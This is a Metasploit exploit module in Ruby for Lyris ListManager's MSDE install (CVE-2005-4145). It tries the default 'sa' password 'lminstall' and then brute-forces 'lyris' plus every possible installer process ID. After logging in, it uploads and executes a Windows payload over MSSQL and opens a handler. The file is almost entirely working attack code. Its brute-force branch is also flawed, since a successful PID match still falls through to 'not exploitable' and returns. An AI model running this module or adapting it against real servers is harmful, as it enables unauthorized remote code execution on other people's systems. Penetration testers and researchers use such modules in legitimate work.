##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::MSSQL

	def initialize(info = {})

		super(update_info(info,
			'Name'           => 'Lyris ListManager MSDE Weak sa Password',
			'Description'    => %q{
					This module exploits a weak password vulnerability in the
				Lyris ListManager MSDE install. During installation, the 'sa'
				account password is set to 'lminstall'. Once the install
				completes, it is set to 'lyris' followed by the process
				ID of the installer. This module brute forces all possible
				process IDs that would be used by the installer.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[

					[ 'OSVDB', '21559'],
					[ 'CVE', '2005-4145']
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0 
			))
	end

	def exploit

		# New installations use a randomly generated suffix like "lyris629dAe536F"
		pass = nil
		
		while(true)
			print_status("Trying to authenticate with password 'lminstall'...")		
			if(mssql_login('sa', 'lminstall'))
				pass = 'lminstall'
				break
			end
			
			print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")
			1.upto(65535) do |pid|
				
				if(pid % 1000 == 0)
					print_status(" >> Completed #{pid} of 65535 authentication requests")
				end
				
				if(mssql_login('sa', "lyris#{pid}"))
					pass = "lyris#{pid}"
					break
				end			
			end
			print_status("This system does not appear to be exploitable")
			return
		end		
		
		print_status("")
		print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
		print_status("")
		
		mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))

		handler
		disconnect
	end
end